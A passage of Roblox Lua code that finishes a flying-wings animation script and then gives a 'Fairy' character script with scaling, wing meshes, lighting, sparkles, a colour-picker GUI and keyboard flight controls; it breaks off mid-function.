  1455. bp:remove()
  1456. bv:remove()
  1457. bv = Instance.new("BodyVelocity")
  1458. end
  1459. hu.PlatformStand = true
  1460. bv.Parent = Torsoz
  1461. bv.maxForce = Vector3.new(1/0,1/0,1/0)
  1462. local torpos = Torsoz.Position + (cam.CoordinateFrame.lookVector * 10)
  1463. bv.velocity = CFrame.new(Torsoz.Position+Vector3.new(0,-2,0), torpos).lookVector*velo
  1464. local cvelo = velo
  1465. if velo > maxvelo then
  1466. cvelo = maxvelo
  1467. end
  1468. bg.cframe = CFrame.new(Torsoz.Position, Torsoz.Position + cam.CoordinateFrame.lookVector) * CFrame.Angles((-math.pi/2.3)*(cvelo/maxvelo),0,0)
  1469.  
  1470. end
  1471.  
  1472. elseif Flying == false then
  1473. if lastflyaction == true then
  1474. hu.PlatformStand = false
  1475. bp.Parent = nil
  1476. bg.Parent = nil
  1477. bv.Parent = nil
  1478. idle = false
  1479. end
  1480.  
  1481. end --- if flying == true
  1482.  
  1483. -----------------------------------------
  1484.  
  1485. ----------------------- Auto Anims -----------------------
  1486. if Flying == true then
  1487. if diff > 40 then
  1488. LeftWing.DesiredAngle = -0.3
  1489. RightWing.DesiredAngle = -0.3
  1490. LightChangeSpeed = 0.24
  1491. JetActive = true
  1492. ActiveTrails = true
  1493. firespeed = 1
  1494. elseif diff > -22 and diff < 40 then
  1495. LeftWing.DesiredAngle = -math.pi/2.5
  1496. RightWing.DesiredAngle = -math.pi/2.5
  1497. LightChangeSpeed = 0.09
  1498. JetActive = true
  1499. ActiveTrails = true
  1500. firespeed = 2
  1501. elseif diff > -60 and diff < -22 then
  1502. LeftWing.DesiredAngle = -math.pi/2.5
  1503. RightWing.DesiredAngle = -math.pi/2.5
  1504. LightChangeSpeed = 0.04
  1505. JetActive = false
  1506. ActiveTrails = true
  1507. elseif diff < -60 then
  1508. LeftWing.DesiredAngle = -0.1
  1509. RightWing.DesiredAngle = -0.1
  1510. LightChangeSpeed = 0.04
  1511. JetActive = false
  1512. ActiveTrails = true
  1513. end
  1514. if idle == true then
  1515. LeftWing.DesiredAngle = -math.pi/2.2
  1516. RightWing.DesiredAngle = -math.pi/2.2
  1517. LightChangeSpeed = 0.09
  1518. JetActive = true
  1519. ActiveTrails = false
  1520. firespeed = 1
  1521. end
  1522. if diff < -40 and velo < 0 then
  1523. LeftWing.DesiredAngle = -0.3
  1524. RightWing.DesiredAngle = -0.3
  1525. LightChangeSpeed = 0.24
  1526. JetActive = true
  1527. ActiveTrails = true
  1528. firespeed = 1
  1529. elseif (diff < -22 and diff > -40) and velo < 0 then
  1530. LeftWing.DesiredAngle = -math.pi/2.5
  1531. RightWing.DesiredAngle = -math.pi/2.5
  1532. LightChangeSpeed = 0.09
  1533. JetActive = true
  1534. ActiveTrails = true
  1535. firespeed = 2
  1536. end
  1537. else
  1538. LeftWing.DesiredAngle = 0
  1539. RightWing.DesiredAngle = 0
  1540. JetActive = false
  1541. ActiveTrails = false
  1542. LightChangeSpeed = 0.02
  1543. end
  1544. -----------------------------------------
  1545.  
  1546. ------------------------ Trail lines ------------------------------
  1547. if num%2 == 0 then
  1548.  
  1549. if Flying == true and ActiveTrails == true then
  1550. if velo > 0 then
  1551. if velo < acceleration*7 then
  1552. Loldpos = nil
  1553. Roldpos = nil
  1554. end
  1555. elseif velo < 0 then
  1556. if velo > -acceleration*7 then
  1557. Loldpos = nil
  1558. Roldpos = nil
  1559. end
  1560. end
  1561.  
  1562. if Loldpos ~= nil then
  1563. local newpos = (LeftWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
  1564. local t = LTrailParts[trailnum]
  1565. t.Parent = m
  1566. t.Anchored = true
  1567. t.BrickColor = BrickColor.new(wingcolor)
  1568. t.CFrame = CFrame.new((Loldpos+newpos)/2,Loldpos) * CFrame.Angles(math.pi/2,0,0)
  1569. local mesh = Instance.new("CylinderMesh", t)
  1570. mesh.Name = "Mesh"
  1571. mesh.Scale = Vector3.new(0.2,(Loldpos - newpos).magnitude*2,0.2)
  1572. end
  1573. if Roldpos ~= nil then
  1574. local newpos = (RightWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
  1575. local t = RTrailParts[trailnum]
  1576. t.Parent = m
  1577. t.Anchored = true
  1578. t.BrickColor = BrickColor.new(wingcolor)
  1579. t.CFrame = CFrame.new((Roldpos+newpos)/2,Roldpos) * CFrame.Angles(math.pi/2,0,0)
  1580. local mesh = Instance.new("CylinderMesh", t)
  1581. mesh.Name = "Mesh"
  1582. mesh.Scale = Vector3.new(0.2,(Roldpos - newpos).magnitude*2,0.2)
  1583. end
  1584. Loldpos = (LeftWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
  1585. Roldpos = (RightWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
  1586.  
  1587. else
  1588. LTrailParts[trailnum].Parent = nil
  1589. RTrailParts[trailnum].Parent = nil
  1590. Loldpos = (LeftWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
  1591. Roldpos = (RightWing.Parent.CFrame * CFrame.new(0,-1.7,0)).p
  1592. end
  1593.  
  1594. end
  1595.  
  1596. if trailnum == #LTrailParts-1 then
  1597. trailnum = 0
  1598. end
  1599.  
  1600. if num%800 == 0 then
  1601. for i, v in pairs(LTrailParts) do
  1602. game:service("Debris"):AddItem(v, 0.7)
  1603. end
  1604. for i, v in pairs(RTrailParts) do
  1605. game:service("Debris"):AddItem(v, 0.7)
  1606. end
  1607. LTrailParts = {}
  1608. for i = 1, 21 do
  1609. local p = P:Clone()
  1610. p.Name = "LTrailLine"
  1611. p.Anchored = true
  1612. p.BrickColor = BrickColor.new(wingcolor)
  1613. local mesh = Instance.new("CylinderMesh", p)
  1614. mesh.Name = "Mesh"
  1615. table.insert(LTrailParts, p)
  1616. end
  1617. RTrailParts = {}
  1618. for i = 1, 21 do
  1619. local p = P:Clone()
  1620. p.Name = "RTrailLine"
  1621. p.Anchored = true
  1622. p.BrickColor = BrickColor.new(wingcolor)
  1623. local mesh = Instance.new("CylinderMesh", p)
  1624. mesh.Name = "Mesh"
  1625. table.insert(RTrailParts, p)
  1626. end
  1627. end
  1628.  
  1629. ----------------------------------------------
  1630.  
  1631. lastflyaction = Flying
  1632. lastidleaction = idle
  1633. wait(0.03)
  1634. end
  1635. ]==]
  1636.  
  1637. Fairy = [==[
  1638. local plr = game:service'Players'.LocalPlayer
  1639. local m = plr:GetMouse()
  1640. local char = plr.Character
  1641. local runservice = game:service'RunService'
  1642. local modelScale = 1/5
  1643.  
  1644.  
  1645. pcall(function() local a = script.Parent.FaerieScript if a ~= script then a:Destroy() end end)
  1646. pcall(function() local a = char.Animate if a ~= script then a.Disabled = true a:Destroy() end end)
  1647. script.Name = "FaerieScript"
  1648.  
  1649. function weld(a,b,c,d)
  1650.         local w = Instance.new("Weld",a)
  1651.         w.Part0 = a
  1652.         w.Part1 = b
  1653.         w.C0 = c or CFrame.new()
  1654.         w.C1 = d or CFrame.new()
  1655.         return w
  1656. end
  1657.  
  1658. function lerp(a,b,c)
  1659.     return a+(b-a)*c
  1660. end
  1661.  
  1662. do  -- Ignore my clerp stuff stolen from stravvy
  1663.         local function QuaternionFromCFrame(cf)
  1664.                 local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  1665.                 local trace = m00 + m11 + m22
  1666.                 if trace > 0 then
  1667.                         local s = math.sqrt(1 + trace)
  1668.                         local recip = 0.5/s
  1669.                         return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  1670.                 else
  1671.                         local i = 0
  1672.                         if m11 > m00 then
  1673.                                 i = 1
  1674.                         end
  1675.                         if m22 > (i == 0 and m00 or m11) then
  1676.                                 i = 2
  1677.                         end
  1678.                         if i == 0 then
  1679.                                 local s = math.sqrt(m00-m11-m22+1)
  1680.                                 local recip = 0.5/s
  1681.                                 return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  1682.                         elseif i == 1 then
  1683.                                 local s = math.sqrt(m11-m22-m00+1)
  1684.                                 local recip = 0.5/s
  1685.                                 return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  1686.                         elseif i == 2 then
  1687.                                 local s = math.sqrt(m22-m00-m11+1)
  1688.                                 local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  1689.                         end
  1690.                 end
  1691.         end  
  1692.         local function QuaternionToCFrame(px, py, pz, x, y, z, w)
  1693.                 local xs, ys, zs = x + x, y + y, z + z
  1694.                 local wx, wy, wz = w*xs, w*ys, w*zs
  1695.                 local xx = x*xs
  1696.                 local xy = x*ys
  1697.                 local xz = x*zs
  1698.                 local yy = y*ys
  1699.                 local yz = y*zs
  1700.                 local zz = z*zs
  1701.                 return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  1702.                 end  
  1703.         local function QuaternionSlerp(a, b, t)
  1704.                 local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  1705.                 local startInterp, finishInterp;
  1706.                 if cosTheta >= 0.0001 then
  1707.                         if (1 - cosTheta) > 0.0001 then
  1708.                                 local theta = math.acos(cosTheta)
  1709.                                 local invSinTheta = 1/math.sin(theta)
  1710.                                 startInterp = math.sin((1-t)*theta)*invSinTheta
  1711.                                 finishInterp = math.sin(t*theta)*invSinTheta  
  1712.                         else
  1713.                                 startInterp = 1-t
  1714.                                 finishInterp = t
  1715.                         end
  1716.                 else
  1717.                         if (1+cosTheta) > 0.0001 then
  1718.                                 local theta = math.acos(-cosTheta)
  1719.                                 local invSinTheta = 1/math.sin(theta)
  1720.                                 startInterp = math.sin((t-1)*theta)*invSinTheta
  1721.                                 finishInterp = math.sin(t*theta)*invSinTheta
  1722.                         else
  1723.                                 startInterp = t-1
  1724.                                 finishInterp = t
  1725.                         end
  1726.                 end
  1727.                 return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  1728.         end  
  1729.         function clerp(a,b,t)
  1730.                 local qa = {QuaternionFromCFrame(a)}
  1731.                 local qb = {QuaternionFromCFrame(b)}
  1732.                 local ax, ay, az = a.x, a.y, a.z
  1733.                 local bx, by, bz = b.x, b.y, b.z  
  1734.                 local _t = 1-t
  1735.                 return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  1736.         end
  1737. end
  1738.  
  1739. for i,v in pairs(char:GetChildren()) do
  1740.     if v:IsA("Hat") or v:IsA("BodyColors") or v:IsA("Clothing") or v:IsA("ShirtGraphic") then
  1741.         v:Destroy()
  1742.     end
  1743. end
  1744. Instance.new("Hat",char)
  1745. local root = char.HumanoidRootPart
  1746. local tw = root.RootJoint
  1747. local tor = char.Torso
  1748. local hd = char.Head
  1749. local hum = char.Humanoid
  1750. hum.Health = 40
  1751. hum.MaxHealth = 40
  1752. hum.WalkSpeed = 12
  1753. local rl,ll = char["Right Leg"],char["Left Leg"]
  1754. local ra,la = char["Right Arm"],char["Left Arm"]
  1755.  
  1756. local c0 = {
  1757.     rs = CFrame.new(1,.5,0),
  1758.     ls = CFrame.new(-1,.5,0),
  1759.     rh = CFrame.new(.5,-1,0),
  1760.     lh = CFrame.new(-.5,-1,0),
  1761.     nk = CFrame.new(0,1,0),
  1762.     tw = CFrame.new(0,0,0)*CFrame.Angles(0,0,0),
  1763. }
  1764. local c1 = {
  1765.     rs = CFrame.new(-.5,.5,0),
  1766.     ls = CFrame.new(.5,.5,0),
  1767.     rh = CFrame.new(0,1,0),
  1768.     lh = CFrame.new(0,1,0),
  1769.     nk = CFrame.new(0,-.5,0),
  1770.     tw = CFrame.new(0,0,0)*CFrame.Angles(0,0,0)
  1771. }
  1772.  
  1773. local rs = tor["Right Shoulder"]
  1774. local ls = tor["Left Shoulder"]
  1775. local rh = tor["Right Hip"]
  1776. local lh = tor["Left Hip"]
  1777. local nk = tor["Neck"]
  1778. for i,v in pairs(tor:GetChildren()) do
  1779.     if v:IsA("Motor6D") then
  1780.         v.DesiredAngle = 0
  1781.         v.MaxVelocity = 0
  1782.         v.CurrentAngle = 0
  1783.     end
  1784. end
  1785.  
  1786.  
  1787.  
  1788.  
  1789. pcall(function() tor.roblox:Destroy() end)
  1790.  
  1791. pcall(function() char.Faerie:Destroy() end)
  1792. local model = Instance.new("Model",char)
  1793. model.Name = "Faerie"
  1794.  
  1795. local BasePart = Instance.new("Part")
  1796. BasePart.CanCollide = false
  1797. BasePart.Anchored = false
  1798. BasePart.FormFactor = "Custom"
  1799. BasePart.Locked = true
  1800. BasePart.Size = Vector3.new()
  1801. BasePart.TopSurface,BasePart.BottomSurface,BasePart.LeftSurface,BasePart.RightSurface,BasePart.FrontSurface,BasePart.BackSurface = 10,10,10,10,10,10
  1802. BasePart:BreakJoints()
  1803.  
  1804. function NP(par)
  1805.     local p = BasePart:Clone()
  1806.     p.Parent = par or model
  1807.     return p
  1808. end
  1809.  
  1810. local w1 = NP()
  1811. w1.Transparency = .1
  1812. local w1m = Instance.new("SpecialMesh",w1)
  1813. w1m.MeshId = "rbxassetid://19367766"
  1814. w1m.TextureId = "rbxassetid://9854798"
  1815. w1m.Scale = Vector3.new(1.05, 1.05, 1.05)
  1816. local w1 = weld(tor,w1,CFrame.new(-.1,0.55,1.6))
  1817.  
  1818. local w2 = NP()
  1819. w2.Transparency = .1
  1820. local w2m = Instance.new("SpecialMesh",w2)
  1821. w2m.MeshId = "rbxassetid://19367766"
  1822. w2m.TextureId = "rbxassetid://9854798"
  1823. w2m.Scale = Vector3.new(1.05, 1.05, 1.05)
  1824. local w2 = weld(tor,w2,CFrame.new(.1,0.55,1.6))
  1825.  
  1826. local h = NP()
  1827. local hm = Instance.new("SpecialMesh",h)
  1828. hm.MeshId = "rbxassetid://154820214"
  1829. hm.TextureId = "rbxassetid://91740209"
  1830. hm.Scale = Vector3.new(1, 1, 1)
  1831. weld(hd,h,CFrame.new(0,0.2,0))
  1832.  
  1833. for i,v in pairs(char:GetChildren()) do
  1834.     if v:IsA("BasePart") then
  1835.         v.Material = "SmoothPlastic"
  1836.         v.TopSurface,v.BottomSurface,v.FrontSurface,v.BackSurface,v.LeftSurface,v.RightSurface = 10,10,10,10,10,10
  1837.     end
  1838. end
  1839.  
  1840. do
  1841.     if modelScale ~= 1 then
  1842.         for i,v in pairs(c0) do
  1843.             c0[i] = (v-v.p) + v.p*modelScale
  1844.         end
  1845.         for i,v in pairs(c1) do
  1846.             c1[i] = (v-v.p) + v.p*modelScale
  1847.         end
  1848.         local Joints = {}
  1849.         local gtJoints,gtParts;
  1850.  
  1851.         local function gtCFrame(cf)
  1852.             return (cf-cf.p) + cf.p * modelScale
  1853.         end
  1854.  
  1855.         function gtJoints(p)
  1856.             for i,v in pairs(p:GetChildren()) do
  1857.                 if v:IsA("JointInstance") then
  1858.                     table.insert(Joints,{v,v.Part0,v.Part1})
  1859.                     v.Part0 = nil
  1860.                     v.Part1 = nil
  1861.                     v.C0 = (v.C0-(v.C0.p)) + (v.C0.p * modelScale)
  1862.                     v.C1 = (v.C1-(v.C1.p)) + (v.C1.p * modelScale)
  1863.                 end
  1864.                 gtJoints(v)
  1865.             end
  1866.         end
  1867.  
  1868.         function gtParts(p)
  1869.             for i,v in pairs(p:GetChildren()) do
  1870.                 if v:IsA("BasePart") then
  1871.                     pcall(function() v.FormFactor = "Custom" end)
  1872.                     local oldz = v.Size
  1873.                     local cf = tor.CFrame:toObjectSpace(v.CFrame)
  1874.                     v.Size = v.Size * modelScale
  1875.                     v.CFrame = tor.CFrame * gtCFrame(cf)
  1876.                     local mesh = nil
  1877.                     for i,t in pairs(v:GetChildren()) do
  1878.                         if t:IsA("DataModelMesh") then
  1879.                             mesh = t
  1880.                         end
  1881.                     end
  1882.                     if mesh == nil and v:IsA("Part") and v.Shape == Enum.PartType.Ball then
  1883.                         mesh = Instance.new("SpecialMesh",v)
  1884.                         mesh.MeshType = Enum.MeshType.Sphere
  1885.                     end
  1886.                     if mesh == nil and ((v:IsA("Part") and v.Shape == Enum.PartType.Block) or v:IsA("Seat") or v:IsA("VehicleSeat")) then
  1887.                         mesh = Instance.new("BlockMesh",v)
  1888.                     end
  1889.                     if mesh ~= nil then
  1890.                         if mesh:IsA("SpecialMesh") and mesh.MeshType == Enum.MeshType.FileMesh then
  1891.                             mesh.Scale = mesh.Scale * modelScale
  1892.                         else
  1893.                             mesh.Scale = mesh.Scale*(oldz*modelScale)/v.Size
  1894.                         end
  1895.                     end
  1896.                 end
  1897.                 gtParts(v)
  1898.             end
  1899.         end
  1900.         gtJoints(char)
  1901.         gtParts(char)
  1902.         for i,v in pairs(Joints) do
  1903.             v[1].Part0 = v[2]
  1904.             v[1].Part1 = v[3]
  1905.         end
  1906.     end
  1907. end
  1908. rs.C0,rs.C1 = c0.rs,c1.rs
  1909. ls.C0,ls.C1 = c0.ls,c1.ls
  1910. rh.C0,rh.C1 = c0.rh,c1.rh
  1911. lh.C0,lh.C1 = c0.lh,c1.lh
  1912. nk.C0,nk.C1 = c0.nk,c1.nk
  1913. tw.C0,tw.C1 = c0.tw,c1.tw
  1914.  
  1915. local w10,w20 = w1.C0,w2.C0
  1916.  
  1917. local pl = tor:FindFirstChild("FairyLight") or Instance.new("PointLight",tor)
  1918. pl.Name = "FairyLight"
  1919. pl.Shadows = false
  1920. pl.Range = 8
  1921. pl.Brightness = 10
  1922.  
  1923. local sparkles = tor:FindFirstChild("FairySparkles") or Instance.new("Sparkles",tor)
  1924. sparkles.Name = "FairySparkles"
  1925.  
  1926.  
  1927. local outfit = 0
  1928. local outfitparts = {ra,la,rl,ll,tor}
  1929. local outfits = {
  1930.     {{106705109},{106705077},{106703301},{106703213},{106705037}}
  1931. }
  1932.  
  1933.  
  1934. local mycolor = ll.BrickColor.Color
  1935. local mycolor2 = mycolor
  1936.  
  1937. function setOutfit()
  1938.     local of = outfits[outfit]
  1939.     if of then
  1940.         for i,v in pairs(outfitparts) do
  1941.             local mesh = v:FindFirstChild("outfitMesh")
  1942.             local meshdata = outfits[outfit][i]
  1943.             if not mesh then
  1944.                 mesh = Instance.new("SpecialMesh",v)
  1945.                 mesh.Name = "outfitMesh"
  1946.                 mesh.TextureId = "rbxassetid://9854798"
  1947.             end
  1948.             mesh.Scale =(meshdata[2] or Vector3.new(1,1,1)) * modelScale
  1949.             mesh.MeshId = "rbxassetid://"..meshdata[1]
  1950.             mesh.VertexColor = Vector3.new(mycolor2.r,mycolor2.g,mycolor2.b)
  1951.         end
  1952.     else
  1953.         for i,v in pairs(outfitparts) do
  1954.             pcall(function() v.outfitMesh:Destroy() end)
  1955.         end
  1956.     end
  1957. end
  1958. setOutfit()
  1959.  
  1960. local senabled = true
  1961. local lenabled = true
  1962. function changeColor()
  1963.     for i,v in pairs(char:GetChildren()) do
  1964.         if v:IsA("BasePart") then
  1965.             v.BrickColor = BrickColor.new(mycolor)
  1966.         end
  1967.     end
  1968.     local mc1 = Vector3.new(mycolor.r,mycolor.g,mycolor.b)
  1969.     local mc2 = Vector3.new(mycolor2.r,mycolor2.g,mycolor2.b)
  1970.     w1m.VertexColor,w2m.VertexColor,hm.VertexColor = mc1,mc1,mc2
  1971.     for i,v in pairs(outfitparts) do
  1972.         local mesh = v:FindFirstChild("outfitMesh")
  1973.         if mesh then
  1974.             mesh.VertexColor = mc2
  1975.         end
  1976.     end
  1977.     pl.Color = mycolor
  1978.     sparkles.SparkleColor = mycolor
  1979. end
  1980. changeColor()
  1981.  
  1982. do
  1983.     pcall(function() plr.PlayerGui.fairyColoring:Destroy() end)
  1984.     local scr = Instance.new("ScreenGui",plr.PlayerGui)
  1985.     scr.Name = "fairyColoring"
  1986.     local fr = Instance.new("Frame",scr)
  1987.     fr.Size = UDim2.new(0,-150,0,-65)
  1988.     fr.BackgroundColor3 = Color3.new(1,1,1)
  1989.     fr.BorderColor3 = Color3.new(.05,.05,.05)
  1990.     fr.BackgroundTransparency = .8
  1991.     fr.Position = UDim2.new(1,0,1,scr.Parent:FindFirstChild("PandaHelpNotify") and -20 or 0)
  1992.     fr.ZIndex = 9
  1993.     local am = 75
  1994.     local rval,gval,bval = mycolor.r,mycolor.g,mycolor.b
  1995.     local r = Instance.new("TextButton",fr)
  1996.     r.BackgroundTransparency = 1
  1997.     r.Size = UDim2.new(0,75,0,15)
  1998.     r.Position = UDim2.new(0,5,0,5)
  1999.     r.TextColor3 = Color3.new(1,1,1)
  2000.     r.TextStrokeTransparency = .4
  2001.     for i=1,am do
  2002.         local t = Instance.new("ImageLabel",r)
  2003.         t.BorderSizePixel = 0
  2004.         t.Size = UDim2.new(1/am,0,1,0)
  2005.         t.Position = UDim2.new((i-1)/am,0,0,0)
  2006.         t.Name = i
  2007.         t.ZIndex = 10
  2008.     end
  2009.     local rb = Instance.new("ImageLabel",r)
  2010.     rb.ZIndex = 10
  2011.     rb.Size = UDim2.new(0,2,1,-2)
  2012.     rb.BackgroundColor3 = Color3.new(0,0,0)
  2013.     rb.BackgroundTransparency = .5
  2014.     rb.BorderColor3 = Color3.new(.4,.4,.4)
  2015.     rb.Name = "b"
  2016.     local g = r:Clone()
  2017.     g.Parent = fr
  2018.     g.Position = UDim2.new(0,5,0,25)
  2019.     local b = r:Clone()
  2020.     b.Parent = fr
  2021.     b.Position = UDim2.new(0,5,0,45)
  2022.     r.ZIndex,g.ZIndex,b.ZIndex = 10,10,10
  2023.     local prev = Instance.new("TextButton",fr)
  2024.     prev.Size = UDim2.new(0,55,0,45)
  2025.     prev.Position = UDim2.new(0,90,0,5)
  2026.     prev.ZIndex = 10
  2027.     prev.BorderColor3 = Color3.new(.2,.2,.2)
  2028.     prev.TextColor3 = Color3.new(1,1,1)
  2029.     prev.TextStrokeTransparency = .4
  2030.     prev.TextYAlignment = "Bottom"
  2031.     prev.FontSize = "Size8"
  2032.     prev.TextWrapped = true
  2033.     local res = Instance.new("TextButton",fr)
  2034.     res.Size = UDim2.new(0,55,0,9)
  2035.     res.Position = UDim2.new(0,90,0,51)
  2036.     res.ZIndex = 10
  2037.     res.BorderColor3 = Color3.new(.2,.2,.2)
  2038.     res.BackgroundColor3 = Color3.new(.5,0,0)
  2039.     res.TextColor3 = Color3.new(1,1,1)
  2040.     res.Text = "reset"
  2041.     res.FontSize = "Size8"
  2042.     local mode = 0
  2043.     local function update(set)
  2044.         r.b.Position = UDim2.new(rval,-1,0,1)
  2045.         g.b.Position = UDim2.new(gval,-1,0,1)
  2046.         b.b.Position = UDim2.new(bval,-1,0,1)
  2047.         local col = Color3.new(rval,gval,bval)
  2048.         prev.BackgroundColor3 = mode == 1 and mycolor2 or mycolor
  2049.         prev.Text = ""
  2050.         r.Text = math.floor(rval*255+.5)
  2051.         g.Text = math.floor(gval*255+.5)
  2052.         b.Text = math.floor(bval*255+.5)
  2053.         for i,v in pairs(r:GetChildren()) do
  2054.             local n = tonumber(v.Name)
  2055.             if n then
  2056.                 local sc = n/am
  2057.                 v.BackgroundColor3 = Color3.new(sc,gval,bval)
  2058.             end
  2059.         end
  2060.         for i,v in pairs(g:GetChildren()) do
  2061.             local n = tonumber(v.Name)
  2062.             if n then
  2063.                 local sc = n/am
  2064.                 v.BackgroundColor3 = Color3.new(rval,sc,bval)
  2065.             end
  2066.         end
  2067.         for i,v in pairs(b:GetChildren()) do
  2068.             local n = tonumber(v.Name)
  2069.             if n then
  2070.                 local sc = n/am
  2071.                 v.BackgroundColor3 = Color3.new(rval,gval,sc)
  2072.             end
  2073.         end
  2074.         if set ~= false then
  2075.             if mode == 0 then
  2076.                 mycolor = col
  2077.             end
  2078.             if mode == 1 then
  2079.                 mycolor2 = col
  2080.             end
  2081.             changeColor()
  2082.         end
  2083.     end
  2084.     update()
  2085.     local rd,gd,bd = false,false,false
  2086.     r.MouseButton1Down:connect(function(x,y) rd = true rval = (x-r.AbsolutePosition.X)/r.AbsoluteSize.X update()  end)
  2087.     r.MouseButton1Up:connect(function() rd = false end)
  2088.     r.MouseLeave:connect(function() rd = false end)
  2089.     r.MouseMoved:connect(function(x,y) if not rd then return end rval = (x-r.AbsolutePosition.X)/r.AbsoluteSize.X update() end)
  2090.     g.MouseButton1Down:connect(function(x,y) gd = true gval = (x-g.AbsolutePosition.X)/g.AbsoluteSize.X update() end)
  2091.     g.MouseButton1Up:connect(function() gd = false end)
  2092.     g.MouseLeave:connect(function() gd = false end)
  2093.     g.MouseMoved:connect(function(x,y) if not gd then return end gval = (x-g.AbsolutePosition.X)/g.AbsoluteSize.X update() end)
  2094.     b.MouseButton1Down:connect(function(x,y) bd = true bval = (x-b.AbsolutePosition.X)/b.AbsoluteSize.X update() end)
  2095.     b.MouseButton1Up:connect(function() bd = false end)
  2096.     b.MouseLeave:connect(function() bd = false end)
  2097.     b.MouseMoved:connect(function(x,y) if not bd then return end bval = (x-b.AbsolutePosition.X)/b.AbsoluteSize.X update() end)
  2098.     res.MouseButton1Click:connect(function()
  2099.         rval,gval,bval = themeColor.Color.r,themeColor.Color.g,themeColor.Color.b
  2100.         update()
  2101.     end)
  2102.  
  2103.     local modebtn = Instance.new("TextButton",fr)
  2104.     modebtn.Position = UDim2.new(1,-150,0,-15)
  2105.     modebtn.Size = UDim2.new(0,49,0,14)
  2106.     modebtn.BackgroundColor3 = Color3.new(1,1,0)
  2107.     modebtn.BackgroundTransparency = .6
  2108.     modebtn.TextScaled = true
  2109.     modebtn.Font = 4
  2110.     modebtn.TextColor3 = Color3.new(1,1,1)
  2111.     modebtn.TextStrokeTransparency = .7
  2112.     modebtn.Text = "Body"
  2113.     modebtn.MouseButton1Click:connect(function()
  2114.         mode = (mode+1)%2
  2115.         local col = mode == 1 and mycolor2 or mycolor
  2116.         rval,gval,bval = col.r,col.g,col.b
  2117.         modebtn.Text = mode == 0 and "Body" or "Clothes"
  2118.         update(false)
  2119.     end)
  2120.  
  2121.     local outfitbtn = Instance.new("TextButton",fr)
  2122.     outfitbtn.Position = UDim2.new(1,-150,0,-30)
  2123.     outfitbtn.Size = UDim2.new(0,49,0,14)
  2124.     outfitbtn.BackgroundColor3 = Color3.new(1,1,0)
  2125.     outfitbtn.BackgroundTransparency = .6
  2126.     outfitbtn.TextScaled = true
  2127.     outfitbtn.Font = 4
  2128.     outfitbtn.TextColor3 = Color3.new(1,1,1)
  2129.     outfitbtn.TextStrokeTransparency = .7
  2130.     outfitbtn.Text = "Outfit"
  2131.     outfitbtn.MouseButton1Click:connect(function()
  2132.         outfit = (outfit+1)%(#outfits+1)
  2133.         setOutfit()
  2134.     end)
  2135.  
  2136.     local sparklebtn = Instance.new("TextButton",fr)
  2137.     sparklebtn.Position = UDim2.new(1,-100,0,-15)
  2138.     sparklebtn.Size = UDim2.new(0,100,0,14)
  2139.     sparklebtn.BackgroundColor3 = Color3.new(0,1,0)
  2140.     sparklebtn.BackgroundTransparency = .6
  2141.     sparklebtn.TextScaled = true
  2142.     sparklebtn.Font = 4
  2143.     sparklebtn.TextColor3 = Color3.new(1,1,1)
  2144.     sparklebtn.TextStrokeTransparency = .7
  2145.     sparklebtn.Text = "Sparkles"
  2146.     sparklebtn.MouseButton1Click:connect(function()
  2147.         senabled = not senabled
  2148.         sparklebtn.BackgroundColor3 = senabled and Color3.new(0,1,0) or Color3.new(1,0,0)
  2149.     end)
  2150.     local lightbtn = Instance.new("TextButton",fr)
  2151.     lightbtn.Position = UDim2.new(1,-100,0,-30)
  2152.     lightbtn.Size = UDim2.new(0,100,0,14)
  2153.     lightbtn.BackgroundColor3 = Color3.new(0,1,0)
  2154.     lightbtn.BackgroundTransparency = .6
  2155.     lightbtn.TextScaled = true
  2156.     lightbtn.Font = 4
  2157.     lightbtn.TextColor3 = Color3.new(1,1,1)
  2158.     lightbtn.TextStrokeTransparency = .7
  2159.     lightbtn.Text = "Light"
  2160.     lightbtn.MouseButton1Click:connect(function()
  2161.         lenabled = not lenabled
  2162.         lightbtn.BackgroundColor3 = lenabled and Color3.new(0,1,0) or Color3.new(1,0,0)
  2163.     end)
  2164. end
  2165.  
  2166.  
  2167. local gyro = root:FindFirstChild("RootGyro") or Instance.new("BodyGyro",root)
  2168. gyro.maxTorque = Vector3.new()
  2169. gyro.Name = "RootGyro"
  2170.  
  2171. local vel = root:FindFirstChild("RootVel") or Instance.new("BodyVelocity",root)
  2172. vel.maxForce = Vector3.new()
  2173. vel.Name = "RootVel"
  2174. vel.P = 4000
  2175.  
  2176. local flying = false
  2177. local state = "idle"
  2178. local kd = {}
  2179. local humspd = 0
  2180. local flyspeed = 0
  2181. local flystop = 0
  2182. local sitting = false
  2183. local holding = false
  2184.  
  2185. m.KeyDown:connect(function(k)
  2186.     local now = tick()
  2187.     kd[k] = now
  2188.     if k == " " and not flying then
  2189.         pcall(function() sitting:Destroy() end)
  2190.         sitting = nil
  2191.         state = "fly"
  2192.         flying = true
  2193.         flydir = (root.CFrame.lookVector*Vector3.new(1,0,1)).unit
  2194.     elseif k == " " and state == "fly" then
  2195.         flying = false
  2196.         state = "idle"
  2197.         flystop = tick()
  2198.     elseif k == "x" and m.Target and (root.Position-m.Hit.p).magnitude < 20*modelScale then
  2199.         local tar = m.Target
  2200.         local cf = tar.CFrame:toObjectSpace(m.Hit)
  2201.         local siz = tar.Size/2
  2202.         local cfr
  2203.         local rx,ry,rz = 0,0,0
  2204.         local lv = tar.CFrame:vectorToObjectSpace(root.CFrame.lookVector)
  2205.         if math.abs(cf.Y-siz.Y) < .03 then
